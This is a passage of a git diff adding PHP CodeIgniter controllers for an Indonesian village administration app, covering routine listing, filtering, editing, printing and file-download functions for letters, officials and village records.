+ {
+ $this->session->filter = $this->input->post('filter') ?: null;
+ redirect('ekspedisi');
+ }
+
+ public function update($p, $o, $id)
+ {
+ $this->redirect_hak_akses('u');
+ $this->ekspedisi_model->update($id);
+ redirect("ekspedisi/index/{$p}/{$o}");
+ }
+
+ public function dialog($aksi = 'cetak', $o = 0)
+ {
+ $data['aksi'] = $aksi;
+ $data['tahun_surat'] = $this->ekspedisi_model->list_tahun_surat();
+ $data['form_action'] = site_url("ekspedisi/daftar/{$aksi}/{$o}");
+
+ $this->load->view('ekspedisi/ajax_cetak', $data);
+ }
+
+ public function daftar($aksi = 'cetak', $o = 1)
+ {
+ // TODO :: gunakan view global penandatangan
+ $ttd = $this->modal_penandatangan();
+ $data['pamong_ttd'] = $this->pamong_model->get_data($ttd['pamong_ttd']->pamong_id);
+ $data['pamong_ketahui'] = $this->pamong_model->get_data($ttd['pamong_ketahui']->pamong_id);
+ $data['input'] = $_POST;
+ $_SESSION['filter'] = $data['input']['tahun'];
+ $data['desa'] = $this->header['desa'];
+ $data['main'] = $this->ekspedisi_model->list_data($o, 0, 10000);
+
+ $this->load->view("ekspedisi/ekspedisi_{$aksi}", $data);
+ }
+
+ /**
+ * Unduh berkas tanda terima berdasarkan kolom surat_keluar.id
+ *
+ * @param int $id ID surat_keluar
+ *
+ * @return void
+ */
+ public function unduh_tanda_terima($id)
+ {
+ // Ambil nama berkas dari database
+ $berkas = $this->ekspedisi_model->get_tanda_terima($id);
+ ambilBerkas($berkas, 'surat_keluar', '__sid__');
+ }
+
+ public function bukan_ekspedisi($p, $o, $id)
+ {
+ $this->surat_keluar_model->untuk_ekspedisi($id, $masuk = 0);
+ redirect("ekspedisi/index/{$p}/{$o}");
+ }
+}
diff --git a/donjo-app/controllers/buku_umum/Lembaran_desa.php b/donjo-app/controllers/buku_umum/Lembaran_desa.php
index 91321fc15..13cd4104e 100644
--- a/donjo-app/controllers/buku_umum/Lembaran_desa.php
+++ b/donjo-app/controllers/buku_umum/Lembaran_desa.php
@@ -1,601 +1,195 @@
-load->model(['web_dokumen_model', 'pamong_model']);
+ $this->modul_ini = 'buku-administrasi-desa';
+ $this->sub_modul_ini = 'administrasi-umum';
+ $this->_list_session = ['filter', 'cari', 'jenis_peraturan'];
+ $this->_set_page = ['20', '50', '100'];
+ }
+
+ // Buku Lembaran Desa dan Berita Desa
+ public function index($p = 1, $o = 0)
+ {
+ $data['p'] = $p;
+ $data['o'] = $o;
+ $kat = 3;
+
+ $data['cari'] = $this->session->cari ?: '';
+
+ if (isset($_POST['per_page'])) {
+ $_SESSION['per_page'] = $_POST['per_page'];
+ }
+ $data['per_page'] = $_SESSION['per_page'];
+
+ $data['paging'] = $this->web_dokumen_model->paging($kat, $p, $o);
+ $data['main'] = $this->web_dokumen_model->list_data($kat, $o, $data['paging']->offset, $data['paging']->per_page);
+ $data['keyword'] = $this->web_dokumen_model->autocomplete();
+ $data['submenu'] = $this->referensi_model->list_data('ref_dokumen');
+ $data['jenis_peraturan'] = $this->referensi_model->jenis_peraturan_desa();
+ $data['sub_kategori'] = $_SESSION['sub_kategori'];
+ $_SESSION['menu_kategori'] = true;
+
+ foreach ($data['submenu'] as $s) {
+ if ($kat == $s['id']) {
+ $_SESSION['submenu'] = $s['id'];
+ $_SESSION['sub_kategori'] = $s['kategori'];
+ $_SESSION['kode_kategori'] = $s['id'];
+ }
+ }
+
+ $sebutan_desa = ucwords(setting('sebutan_desa'));
+ $data['main_content'] = 'dokumen/table_lembaran_desa';
+ $data['subtitle'] = "Buku Lembaran {$sebutan_desa} Dan Berita {$sebutan_desa}";
+ $data['selected_nav'] = 'lembaran';
+
+ $this->render('bumindes/umum/main', $data);
+ }
+
+ public function clear()
+ {
+ $this->session->unset_userdata($this->_list_session);
+ $this->session->per_page = $this->_set_page[0];
+ redirect('lembaran_desa');
+ }
+
+ public function form($p = 1, $o = 0, $id = '')
+ {
+ $this->redirect_hak_akses('u');
+
+ if ($id) {
+ $data['dokumen'] = $this->web_dokumen_model->get_dokumen($id) ?? show_404();
+ $data['form_action'] = site_url("lembaran_desa/update/{$id}/{$p}/{$o}");
+ }
+
+ $data['kat'] = 3;
+ $data['kat_nama'] = 'Lembaran Desa';
+ $data['kembali_ke'] = site_url("lembaran_desa/index/{$p}/{$o}");
+ $data['list_kategori'] = $this->web_dokumen_model->list_kategori();
+ $data['jenis_peraturan'] = $this->referensi_model->jenis_peraturan_desa();
+
+ $this->render('dokumen/form', $data);
+ }
+
+ public function search()
+ {
+ $cari = $this->input->post('cari');
+ $this->session->cari = $cari ?: null;
+ redirect('lembaran_desa/index');
+ }
+
+ public function filter($filter = 'filter')
+ {
+ $this->session->{$filter} = $this->input->post($filter);
+ redirect('lembaran_desa/index');
+ }
+
+ public function update($id = '', $p = 1, $o = 0)
+ {
+ $this->redirect_hak_akses('u');
+ $this->session->success = 1;
+ $outp = $this->web_dokumen_model->update($id);
+ status_sukses($outp);
+ redirect("lembaran_desa/index/{$p}/{$o}");
+ }
+
+ public function lock($id, $val = 1)
+ {
+ $this->redirect_hak_akses('u');
+ $this->web_dokumen_model->dokumen_lock($id, $val);
+ redirect('lembaran_desa');
+ }
+
+ public function dialog_daftar($aksi = 'cetak', $o = 0)
+ {
+ $data['aksi'] = $aksi;
+ $data['form_action'] = site_url("lembaran_desa/daftar/{$aksi}/{$o}");
+ $data['jenis_peraturan'] = $this->referensi_model->jenis_peraturan_desa();
+ $data['tahun_laporan'] = $this->web_dokumen_model->list_tahun($kat = 3);
+
+ $this->load->view('dokumen/dialog_cetak', $data);
+ }
+
+ public function daftar($aksi = 'cetak', $o = 1)
+ {
+ $data = $this->data_cetak($aksi);
+ $template = $data['template'];
+ $this->load->view("dokumen/{$template}", $data);
+ }
+
+ private function data_cetak($aksi)
+ {
+ // TODO :: gunakan view global penandatangan
+ $ttd = $this->modal_penandatangan();
+ $data['pamong_ttd'] = $this->pamong_model->get_data($ttd['pamong_ttd']->pamong_id);
+ $data['pamong_ketahui'] = $this->pamong_model->get_data($ttd['pamong_ketahui']->pamong_id);
+ $post = $this->input->post();
+ $data['main'] = $this->web_dokumen_model->data_cetak($kat = 3, $post['tahun'], $post['jenis_peraturan']);
+ $data['input'] = $post;
+ $data['tahun'] = $post['tahun'];
+ $data['desa'] = $this->header['desa'];
+ $data['aksi'] = $aksi;
+ $data['template'] = 'lembaran_desa_print';
+
+ return $data;
+ }
+
+ /**
+ * Unduh berkas berdasarkan kolom dokumen.id
+ *
+ * @param int $id_dokumen Id berkas pada koloam dokumen.id
+ *
+ * @return void
+ */
+ public function unduh_berkas($id_dokumen = 0)
+ {
+ // Ambil nama berkas dari database
+ $data = $this->web_dokumen_model->get_dokumen($id_dokumen);
+ ambilBerkas($data['satuan'], $this->controller, null, LOKASI_DOKUMEN);
+ }
+}
diff --git a/donjo-app/controllers/buku_umum/Pengurus.php b/donjo-app/controllers/buku_umum/Pengurus.php
index da35479f2..ea941a279 100644
--- a/donjo-app/controllers/buku_umum/Pengurus.php
+++ b/donjo-app/controllers/buku_umum/Pengurus.php
@@ -1,561 +1,418 @@
-load->model(['pamong_model', 'penduduk_model', 'wilayah_model']);
+ $this->modul_ini = 'buku-administrasi-desa';
+ $this->sub_modul_ini = 'administrasi-umum';
+ $this->_set_page = ['20', '50', '100'];
+ $this->_list_session = ['status', 'cari'];
+ $this->header['kategori'] = 'Pemerintah Desa';
+ }
+
+ public function clear()
+ {
+ $this->session->unset_userdata($this->_list_session);
+ $this->session->per_page = $this->_set_page[0];
+ $this->session->status = 1;
+ redirect('pengurus');
+ }
+
+ public function index($p = 1)
+ {
+ foreach ($this->_list_session as $list) {
+ $data[$list] = $this->session->{$list} ?: '';
+ }
+
+ $per_page = $this->input->post('per_page');
+ if (isset($per_page)) {
+ $this->session->per_page = $per_page;
+ }
+
+ $data['func'] = 'index';
+ $data['set_page'] = $this->_set_page;
+ $data['per_page'] = $this->session->per_page;
+ $data['paging'] = $this->pamong_model->paging($p);
+ $data['main'] = $this->pamong_model->list_data($data['paging']->offset, $data['paging']->per_page);
+ $data['keyword'] = $this->pamong_model->autocomplete();
+ $data['main_content'] = 'home/pengurus';
+ $data['subtitle'] = 'Buku ' . ucwords(setting('sebutan_pemerintah_desa'));
+ $data['selected_nav'] = 'aparat';
+ $data['jabatanSekdes'] = sekdes()->id;
+ $data['jabatanKadesSekdes'] = RefJabatan::getKadesSekdes();
+
+ $this->render('bumindes/umum/main', $data);
+ }
+
+ public function form($id = 0)
+ {
+ $this->redirect_hak_akses('u');
+ $id_pend = $this->input->post('id_pend');
+
+ if ($id) {
+ $data['aksi'] = 'Ubah';
+ $data['pamong'] = $this->pamong_model->get_data($id) ?? show_404();
+ if (! isset($id_pend)) {
+ $id_pend = $data['pamong']['id_pend'];
+ }
+ $data['form_action'] = site_url("pengurus/update/{$id}");
+ } else {
+ $data['aksi'] = 'Tambah';
+ $data['pamong'] = null;
+ $data['form_action'] = site_url('pengurus/insert');
+ }
+
+ $semua_jabatan = RefJabatan::urut()->latest()->pluck('nama', 'id');
+
+ // Cek apakah kades
+ $jabatan_kades = kades()->id;
+ if (Pamong::where('jabatan_id', $jabatan_kades)->where('pamong_status', 1)->exists() && $data['pamong']['jabatan_id'] != $jabatan_kades) {
+ $semua_jabatan = $semua_jabatan->except($jabatan_kades);
+ }
+
+ $jabatan_sekdes = RefJabatan::getSekdes()->id;
+ // Cek apakah sekdes
+ $jabatan_sekdes = sekdes()->id;
+ if (Pamong::where('jabatan_id', $jabatan_sekdes)->where('pamong_status', 1)->exists() && $data['pamong']['jabatan_id'] != $jabatan_sekdes) {
+ $semua_jabatan = $semua_jabatan->except($jabatan_sekdes);
+ }
+
+ $data['jabatan'] = $semua_jabatan;
+ $data['atasan'] = $this->pamong_model->list_atasan($id);
+ $data['pendidikan_kk'] = PendidikanKK::pluck('nama', 'id');
+ $data['agama'] = Agama::pluck('nama', 'id');
+
+ if (! empty($id_pend)) {
+ // TODO :: OpenKab - Tambahkan filter berdasarkan config_id
+ $data['individu'] = $this->penduduk_model->get_penduduk($id_pend);
+ } else {
+ $data['individu'] = null;
+ }
+
+ return view('admin.pengurus.form', $data);
+ }
+
+ public function filter($filter)
+ {
+ $this->redirect_hak_akses('u');
+ $value = $this->input->post($filter);
+ if ($value != '') {
+ $this->session->{$filter} = $value;
+ } else {
+ $this->session->unset_userdata($filter);
+ }
+ redirect('pengurus');
+ }
+
+ public function insert()
+ {
+ $this->redirect_hak_akses('u');
+ $this->set_validasi();
+ $this->form_validation->set_rules('pamong_tag_id_card', 'Tag ID Card', 'is_unique[tweb_desa_pamong.pamong_tag_id_card]]');
+
+ if ($this->form_validation->run() !== true) {
+ session_error(trim(validation_errors()));
+ redirect('pengurus/form');
+ } else {
+ $this->pamong_model->insert();
+ redirect('pengurus');
+ }
+ }
+
+ public function update($id = 0)
+ {
+ $this->redirect_hak_akses('u');
+ $this->set_validasi();
+
+ $this->form_validation->set_rules('pamong_tag_id_card', 'Tag ID Card', "is_unique[tweb_desa_pamong.pamong_tag_id_card,pamong_id,{$id}]");
+
+ if ($this->form_validation->run() !== true) {
+ session_error(trim(validation_errors()));
+ redirect("pengurus/form/{$id}");
+ } else {
+ $this->pamong_model->update($id);
+ redirect('pengurus');
+ }
+ }
+
+ private function set_validasi()
+ {
+ $this->load->library('form_validation');
+ $this->form_validation->set_error_delimiters('', '');
+ }
+
+ public function delete($id = 0)
+ {
+ $this->redirect_hak_akses('h');
+ $this->pamong_model->delete($id);
+ redirect('pengurus');
+ }
+
+ public function delete_all()
+ {
+ $this->redirect_hak_akses('h');
+ $this->pamong_model->delete_all();
+ redirect('pengurus');
+ }
+
+ public function ttd($id = 0, $val = 0)
+ {
+ $this->redirect_hak_akses('u');
+ $this->pamong_model->ttd('a.n', $id, $val);
+ redirect('pengurus');
+ }
+
+ public function ub($id = 0, $val = 0)
+ {
+ $this->redirect_hak_akses('u');
+ $this->pamong_model->ttd('u.b', $id, $val);
+ redirect('pengurus');
+ }
+
+ public function urut($p = 1, $id = 0, $arah = 0)
+ {
+ $this->redirect_hak_akses('u');
+ $this->pamong_model->urut($id, $arah);
+ redirect("pengurus/index/{$p}");
+ }
+
+ public function lock($id = 0, $val = 1)
+ {
+ $this->redirect_hak_akses('u');
+ $this->pamong_model->lock($id, $val);
+ redirect('pengurus');
+ }
+
+ public function kehadiran($id = 0, $val = 1)
+ {
+ $this->redirect_hak_akses('u');
+ $this->pamong_model->kehadiran($id, $val);
+ redirect('pengurus');
+ }
+
+ public function daftar($aksi = 'cetak')
+ {
+ // TODO :: gunakan view global penandatangan
+ $ttd = $this->modal_penandatangan();
+ $data['pamong_ttd'] = $this->pamong_model->get_data($ttd['pamong_ttd']->pamong_id);
+ $data['pamong_ketahui'] = $this->pamong_model->get_data($ttd['pamong_ketahui']->pamong_id);
+
+ $data['desa'] = $this->header['desa'];
+ $data['main'] = $this->pamong_model->list_data();
+
+ $this->load->view('home/' . $aksi, $data);
+ }
+
+ public function bagan($ada_bpd = '')
+ {
+ $data['desa'] = $this->header['desa'];
+ $data['bagan'] = $this->pamong_model->list_bagan();
+ $data['ada_bpd'] = ! empty($ada_bpd);
+ $this->render('home/bagan', $data);
+ }
+
+ public function atur_bagan()
+ {
+ $this->redirect_hak_akses('u');
+ $data['atasan'] = $this->pamong_model->list_atasan();
+ $data['form_action'] = site_url('pengurus/update_bagan');
+ $this->load->view('home/ajax_atur_bagan', $data);
+ }
+
+ public function update_bagan()
+ {
+ $this->redirect_hak_akses('u');
+ $post = $this->input->post();
+ $this->pamong_model->update_bagan($post);
+ redirect('pengurus');
+ }
+
+ public function atur_bagan_layout()
+ {
+ $this->redirect_hak_akses('u');
+ $data = [
+ 'judul' => 'Atur Ukuran Bagan',
+ 'kategori' => ['conf_bagan'],
+ ];
+
+ $this->load->view('global/modal_setting', $data);
+ }
+
+ // Jabatan
+ public function jabatan()
+ {
+ if ($this->input->is_ajax_request()) {
+ return datatables()->of(RefJabatan::query()->urut()->latest())
+ ->addColumn('ceklist', static function ($row) {
+ if (can('h') && ! in_array($row->id, RefJabatan::getKadesSekdes())) {
+ return '';
+ }
+ })
+ ->addIndexColumn()
+ ->addColumn('aksi', static function ($row) {
+ $aksi = '';
+
+ if (can('u')) {
+ $aksi .= ' ';
+ }
+
+ if (can('h') && ! in_array($row->id, RefJabatan::getKadesSekdes())) {
+ $aksi .= ' ';
+ }
+
+ return $aksi;
+ })
+ ->rawColumns(['ceklist', 'aksi'])
+ ->make();
+ }
+
+ return view('admin.jabatan.index', [
+ 'selected_nav' => 'pengurus',
+ ]);
+ }
+
+ public function jabatanform($id = '')
+ {
+ $this->redirect_hak_akses('u');
+
+ if ($id) {
+ $action = 'Ubah';
+ $form_action = route('pengurus.jabatanupdate', $id);
+ $jabatan = RefJabatan::find($id) ?? show_404();
+ } else {
+ $action = 'Tambah';
+ $form_action = route('pengurus.jabataninsert');
+ $jabatan = null;
+ }
+
+ $selected_nav = 'pengurus';
+
+ return view('admin.jabatan.form', compact('selected_nav', 'action', 'form_action', 'jabatan'));
+ }
+
+ public function jabataninsert()
+ {
+ $this->redirect_hak_akses('u');
+
+ if (RefJabatan::create(static::jabatanValidate($this->request))) {
+ redirect_with('success', 'Berhasil Tambah Data', 'pengurus/jabatan');
+ }
+ redirect_with('error', 'Gagal Tambah Data', 'pengurus/jabatan');
+ }
+
+ public function jabatanUpdate($id = '')
+ {
+ $this->redirect_hak_akses('u');
+
+ $data = RefJabatan::find($id) ?? show_404();
+
+ if ($data->update(static::jabatanValidate($this->request, $data->id))) {
+ redirect_with('success', 'Berhasil Ubah Data', 'pengurus/jabatan');
+ }
+ redirect_with('error', 'Gagal Ubah Data', 'pengurus/jabatan');
+ }
+
+ public function jabatandelete($id = '')
+ {
+ $this->redirect_hak_akses('h');
+
+ $data = RefJabatan::find($id) ?? show_404();
+ if (in_array($data->id, RefJabatan::getKadesSekdes())) {
+ redirect_with('error', 'Gagal Hapus Data, ' . $data->nama . ' Tidak Boleh Dihapus.', 'pengurus/jabatan');
+ }
+
+ if ($data->destroy($this->request['id_cb'] ?? $id)) {
+ redirect_with('success', 'Berhasil Hapus Data', 'pengurus/jabatan');
+ }
+
+ redirect_with('error', 'Gagal Hapus Data', 'pengurus/jabatan');
+ }
+
+ // Hanya filter inputan
+ protected static function jabatanValidate($request = [], $id = null)
+ {
+ return [
+ 'nama' => nama_terbatas($request['nama']),
+ 'tupoksi' => $request['tupoksi'],
+ ];
+ }
+
+ public function apidaftarpenduduk()
+ {
+ if ($this->input->is_ajax_request()) {
+ $cari = $this->input->get('q');
+
+ $penduduk = Penduduk::select(['id', 'nik', 'nama', 'id_cluster'])
+ ->when($cari, static function ($query) use ($cari) {
+ $query->orWhere('nik', 'like', "%{$cari}%")
+ ->orWhere('nama', 'like', "%{$cari}%");
+ })
+ ->whereNotIn('id', Pamong::whereNotNull('id_pend')->pluck('id_pend')->toArray())
+ ->paginate(10);
+
+ return json([
+ 'results' => collect($penduduk->items())
+ ->map(static function ($item) {
+ return [
+ 'id' => $item->id,
+ 'text' => "NIK : {$item->nik} - {$item->nama} - {$item->wilayah->dusun}",
+ ];
+ }),
+ 'pagination' => [
+ 'more' => $penduduk->currentPage() < $penduduk->lastPage(),
+ ],
+ ]);
+ }
+
+ return show_404();
+ }
+}
diff --git a/donjo-app/controllers/buku_umum/Surat_keluar.php b/donjo-app/controllers/buku_umum/Surat_keluar.php
index 5dfac73b4..6f6279461 100644
--- a/donjo-app/controllers/buku_umum/Surat_keluar.php
+++ b/donjo-app/controllers/buku_umum/Surat_keluar.php
@@ -1,593 +1,250 @@
-load->helper('download');
+ $this->load->model(['surat_keluar_model', 'klasifikasi_model', 'pamong_model', 'penomoran_surat_model']);
+ $this->list_session = ['cari', 'filter'];
+ $this->modul_ini = 'buku-administrasi-desa';
+ $this->sub_modul_ini = 'administrasi-umum';
+ }
+
+ public function clear($id = 0)
+ {
+ $this->session->per_page = 20;
+ $this->session->surat = $id;
+ $this->session->unset_userdata($this->list_session);
+ redirect('surat_keluar');
+ }
+
+ public function index($p = 1, $o = 2)
+ {
+ $data['p'] = $p;
+ $data['o'] = $o;
+
+ if ($this->session->has_userdata('cari')) {
+ $data['cari'] = $this->session->cari;
+ } else {
+ $data['cari'] = '';
+ }
+
+ if ($this->session->has_userdata('filter')) {
+ $data['filter'] = $this->session->filter;
+ } else {
+ $data['filter'] = '';
+ }
+
+ if ($this->session->has_userdata('per_page')) {
+ $this->session->per_page = $this->input->post('per_page');
+ }
+
+ $data['per_page'] = $this->session->per_page;
+ $data['paging'] = $this->surat_keluar_model->paging($p, $o);
+ $data['main'] = $this->surat_keluar_model->list_data($o, $data['paging']->offset, $data['paging']->per_page);
+ $data['tahun_surat'] = $this->surat_keluar_model->list_tahun_surat();
+ $data['keyword'] = $this->surat_keluar_model->autocomplete();
+ $data['main_content'] = 'surat_keluar/table';
+ $data['subtitle'] = 'Buku Agenda - Surat Keluar';
+ $data['selected_nav'] = 'agenda_keluar';
+
+ $this->render('bumindes/umum/main', $data);
+ }
+
+ public function form($p = 1, $o = 0, $id = '')
+ {
+ $this->redirect_hak_akses('u');
+ $data['tujuan'] = $this->surat_keluar_model->autocomplete();
+ $data['klasifikasi'] = $this->klasifikasi_model->list_kode();
+ $data['p'] = $p;
+ $data['o'] = $o;
+
+ if ($id) {
+ $data['surat_keluar'] = $this->surat_keluar_model->get_surat_keluar($id) ?? show_404();
+ $data['form_action'] = site_url("surat_keluar/update/{$p}/{$o}/{$id}");
+ } else {
+ $last_surat = $this->penomoran_surat_model->get_surat_terakhir('surat_keluar');
+ $data['surat_keluar']['nomor_urut'] = $last_surat['no_surat'] + 1;
+ $data['form_action'] = site_url('surat_keluar/insert');
+ }
+
+ // Buang unique id pada link nama file
+ $berkas = explode('__sid__', $data['surat_keluar']['berkas_scan']);
+ $namaFile = $berkas[0];
+ $ekstensiFile = explode('.', end($berkas));
+ $ekstensiFile = end($ekstensiFile);
+ $data['surat_keluar']['berkas_scan'] = $namaFile . '.' . $ekstensiFile;
+
+ $this->render('surat_keluar/form', $data);
+ }
+
+ public function form_upload($p = 1, $o = 0, $url = '')
+ {
+ $data['form_action'] = site_url("surat_keluar/upload/{$p}/{$o}/{$url}");
+ $this->load->view('surat_keluar/ajax-upload', $data);
+ }
+
+ public function search()
+ {
+ $cari = $this->input->post('cari');
+ if ($cari != '') {
+ $this->session->cari = $cari;
+ } else {
+ $this->session->unset_userdata('cari');
+ }
+ redirect('surat_keluar');
+ }
+
+ public function filter()
+ {
+ $filter = $this->input->post('filter');
+ if ($filter != 0) {
+ $this->session->filter = $filter;
+ } else {
+ $this->session->unset_userdata('filter');
+ }
+ redirect('surat_keluar');
+ }
+
+ public function insert()
+ {
+ $this->redirect_hak_akses('u');
+ $this->surat_keluar_model->insert();
+ redirect('surat_keluar');
+ }
+
+ public function update($p = 1, $o = 0, $id = '')
+ {
+ $this->redirect_hak_akses('u');
+ $this->surat_keluar_model->update($id);
+ redirect("surat_keluar/index/{$p}/{$o}");
+ }
+
+ public function upload($p = 1, $o = 0, $url = '')
+ {
+ $this->redirect_hak_akses('u');
+ $this->surat_keluar_model->upload($url);
+ redirect("surat_keluar/index/{$p}/{$o}");
+ }
+
+ public function delete($p = 1, $o = 0, $id = '')
+ {
+ $this->redirect_hak_akses('h');
+ $this->surat_keluar_model->delete($id);
+ redirect("surat_keluar/index/{$p}/{$o}");
+ }
+
+ public function delete_all($p = 1, $o = 0)
+ {
+ $this->redirect_hak_akses('h');
+ $this->surat_keluar_model->delete_all();
+ redirect("surat_keluar/index/{$p}/{$o}");
+ }
+
+ public function dialog_cetak($o = 0)
+ {
+ $data['aksi'] = 'Cetak';
+ $data['tahun_surat'] = $this->surat_keluar_model->list_tahun_surat();
+ $data['form_action'] = site_url("surat_keluar/dialog/cetak/{$o}");
+
+ $this->load->view('surat_keluar/ajax_cetak', $data);
+ }
+
+ public function dialog_unduh($o = 0)
+ {
+ $data['aksi'] = 'Unduh';
+ $data['tahun_surat'] = $this->surat_keluar_model->list_tahun_surat();
+ $data['form_action'] = site_url("surat_keluar/dialog/unduh/{$o}");
+ $this->load->view('surat_keluar/ajax_cetak', $data);
+ }
+
+ public function dialog($aksi = 'unduh', $o = 0)
+ {
+ // TODO :: gunakan view global penandatangan
+ $ttd = $this->modal_penandatangan();
+ $data['pamong_ttd'] = $this->pamong_model->get_data($ttd['pamong_ttd']->pamong_id);
+ $data['pamong_ketahui'] = $this->pamong_model->get_data($ttd['pamong_ketahui']->pamong_id);
+
+ $data['input'] = $this->input->post();
+ $this->session->filter = $data['input']['tahun'];
+ $data['desa'] = $this->header['desa'];
+ $data['main'] = $this->surat_keluar_model->list_data($o, 0, 10000);
+
+ if ($aksi == 'unduh') {
+ $this->load->view('surat_keluar/surat_keluar_excel', $data);
+ } else {
+ $this->load->view('surat_keluar/surat_keluar_print', $data);
+ }
+ }
+
+ /**
+ * Unduh berkas scan berdasarkan kolom surat_keluar.id
+ *
+ * @param int $idSuratKeluar Id berkas scan pada koloam surat_keluar.id
+ * @param int $tipe
+ *
+ * @return void
+ */
+ public function berkas($idSuratKeluar = 0, $tipe = 0)
+ {
+ // Ambil nama berkas dari database
+ $berkas = $this->surat_keluar_model->getNamaBerkasScan($idSuratKeluar);
+ ambilBerkas($berkas, 'surat_keluar', '__sid__', LOKASI_ARSIP, ($tipe == 1) ? true : false);
+ }
+
+ public function nomor_surat_duplikat()
+ {
+ if ($this->input->post('nomor_urut') == $this->input->post('nomor_urut_lama')) {
+ $hasil = false;
+ } else {
+ $hasil = $this->penomoran_surat_model->nomor_surat_duplikat('surat_keluar', $this->input->post('nomor_urut'));
+ }
+ echo $hasil ? 'false' : 'true';
+ }
+
+ public function untuk_ekspedisi($p, $o, $id)
+ {
+ $this->surat_keluar_model->untuk_ekspedisi($id, $masuk = 1);
+ redirect("ekspedisi/index/{$p}/{$o}");
+ }
+}
diff --git a/donjo-app/controllers/buku_umum/Surat_masuk.php b/donjo-app/controllers/buku_umum/Surat_masuk.php
index 8c8f38821..eb9f63b7c 100644
--- a/donjo-app/controllers/buku_umum/Surat_masuk.php
+++ b/donjo-app/controllers/buku_umum/Surat_masuk.php
@@ -1,585 +1,278 @@
-load->helper('download');
+ $this->load->model('surat_masuk_model');
+ $this->load->model('klasifikasi_model');
+ $this->load->model('pamong_model');
+
+ $this->load->model('penomoran_surat_model');
+ $this->modul_ini = 'buku-administrasi-desa';
+ $this->sub_modul_ini = 'administrasi-umum';
+ $this->tab_ini = 2;
+ }
+
+ public function clear($id = 0)
+ {
+ $_SESSION['per_page'] = 20;
+ $_SESSION['surat'] = $id;
+ unset($_SESSION['cari'], $_SESSION['filter']);
+
+ redirect('surat_masuk');
+ }
+
+ public function index($p = 1, $o = 2)
+ {
+ $data['p'] = $p;
+ $data['o'] = $o;
+
+ if (isset($_SESSION['cari'])) {
+ $data['cari'] = $_SESSION['cari'];
+ } else {
+ $data['cari'] = '';
+ }
+
+ if (isset($_SESSION['filter'])) {
+ $data['filter'] = $_SESSION['filter'];
+ } else {
+ $data['filter'] = '';
+ }
+
+ if (isset($_POST['per_page'])) {
+ $_SESSION['per_page'] = $_POST['per_page'];
+ }
+
+ $this->surat_masuk_model->remove_character();
+ $data['per_page'] = $_SESSION['per_page'];
+ $data['paging'] = $this->surat_masuk_model->paging($p, $o);
+ $data['main'] = $this->surat_masuk_model->list_data($o, $data['paging']->offset, $data['paging']->per_page);
+ $data['tahun_penerimaan'] = $this->surat_masuk_model->list_tahun_penerimaan();
+ $data['keyword'] = $this->surat_masuk_model->autocomplete();
+ $data['main_content'] = 'surat_masuk/table';
+ $data['subtitle'] = 'Buku Agenda - Surat Masuk';
+ $data['selected_nav'] = 'agenda_masuk';
+
+ $this->render('bumindes/umum/main', $data);
+ }
+
+ public function form($p = 1, $o = 0, $id = '')
+ {
+ $this->redirect_hak_akses('u');
+ $data['pengirim'] = $this->surat_masuk_model->autocomplete();
+ $data['klasifikasi'] = $this->klasifikasi_model->list_kode();
+ $data['p'] = $p;
+ $data['o'] = $o;
+
+ if ($id) {
+ $data['surat_masuk'] = $this->surat_masuk_model->get_surat_masuk($id) ?? show_404();
+ $data['form_action'] = site_url("surat_masuk/update/{$p}/{$o}/{$id}");
+ $data['disposisi_surat_masuk'] = DisposisiSuratmasuk::where('id_surat_masuk', $id)->pluck('disposisi_ke')->toArray();
+ } else {
+ $last_surat = $this->penomoran_surat_model->get_surat_terakhir('surat_masuk');
+ $data['surat_masuk']['nomor_urut'] = $last_surat['no_surat'] + 1;
+ $data['form_action'] = site_url('surat_masuk/insert');
+ $data['disposisi_surat_masuk'] = null;
+ }
+
+ $data['ref_disposisi'] = RefJabatan::urut()->latest()->pluck('nama', 'id')->except(kades()->id);
+
+ // Buang unique id pada link nama file
+ $berkas = explode('__sid__', $data['surat_masuk']['berkas_scan']);
+ $namaFile = $berkas[0];
+ $ekstensiFile = explode('.', end($berkas));
+ $ekstensiFile = end($ekstensiFile);
+ $data['surat_masuk']['berkas_scan'] = $namaFile . '.' . $ekstensiFile;
+
+ $this->render('surat_masuk/form', $data);
+ }
+
+ public function form_upload($p = 1, $o = 0, $url = '')
+ {
+ $this->redirect_hak_akses('u');
+ $data['form_action'] = site_url("surat_masuk/upload/{$p}/{$o}/{$url}");
+ $this->load->view('surat_masuk/ajax-upload', $data);
+ }
+
+ public function search()
+ {
+ $cari = $this->input->post('cari');
+ if ($cari != '') {
+ $_SESSION['cari'] = $cari;
+ } else {
+ unset($_SESSION['cari']);
+ }
+ redirect('surat_masuk');
+ }
+
+ public function filter()
+ {
+ $filter = $this->input->post('filter');
+ if ($filter != 0) {
+ $_SESSION['filter'] = $filter;
+ } else {
+ unset($_SESSION['filter']);
+ }
+ redirect('surat_masuk');
+ }
+
+ public function insert()
+ {
+ $this->redirect_hak_akses('u');
+ $this->surat_masuk_model->insert();
+ redirect('surat_masuk');
+ }
+
+ public function update($p = 1, $o = 0, $id = '')
+ {
+ $this->redirect_hak_akses('u');
+ $this->surat_masuk_model->update($id);
+ redirect("surat_masuk/index/{$p}/{$o}");
+ }
+
+ public function upload($p = 1, $o = 0, $url = '')
+ {
+ $this->redirect_hak_akses('u');
+ $this->surat_masuk_model->upload($url);
+ redirect("surat_masuk/index/{$p}/{$o}");
+ }
+
+ public function delete($p = 1, $o = 0, $id = '')
+ {
+ $this->redirect_hak_akses('h');
+ $this->surat_masuk_model->delete($id);
+ redirect("surat_masuk/index/{$p}/{$o}");
+ }
+
+ public function delete_all($p = 1, $o = 0)
+ {
+ $this->redirect_hak_akses('h');
+ $this->surat_masuk_model->delete_all();
+ redirect("surat_masuk/index/{$p}/{$o}");
+ }
+
+ public function dialog_disposisi($o, $id)
+ {
+ $data = $this->modal_penandatangan();
+ $data['aksi'] = 'Cetak';
+ $data['form_action'] = site_url("surat_masuk/disposisi/{$id}");
+ $this->load->view('global/ttd_pamong', $data);
+ }
+
+ // TODO: Satukan dialog cetak dan unduh
+ public function dialog_cetak($o = 0)
+ {
+ $data['aksi'] = 'Cetak';
+ $data['tahun_surat'] = $this->surat_masuk_model->list_tahun_surat();
+ $data['form_action'] = site_url("surat_masuk/dialog/cetak/{$o}");
+ $this->load->view('surat_masuk/ajax_cetak', $data);
+ }
+
+ // TODO: Satukan dialog cetak dan unduh
+ public function dialog_unduh($o = 0)
+ {
+ $data['aksi'] = 'Unduh';
+ $data['tahun_surat'] = $this->surat_masuk_model->list_tahun_surat();
+ $data['form_action'] = site_url("surat_masuk/dialog/unduh/{$o}");
+ $this->load->view('surat_masuk/ajax_cetak', $data);
+ }
+
+ public function dialog($aksi = 'unduh', $o = 0)
+ {
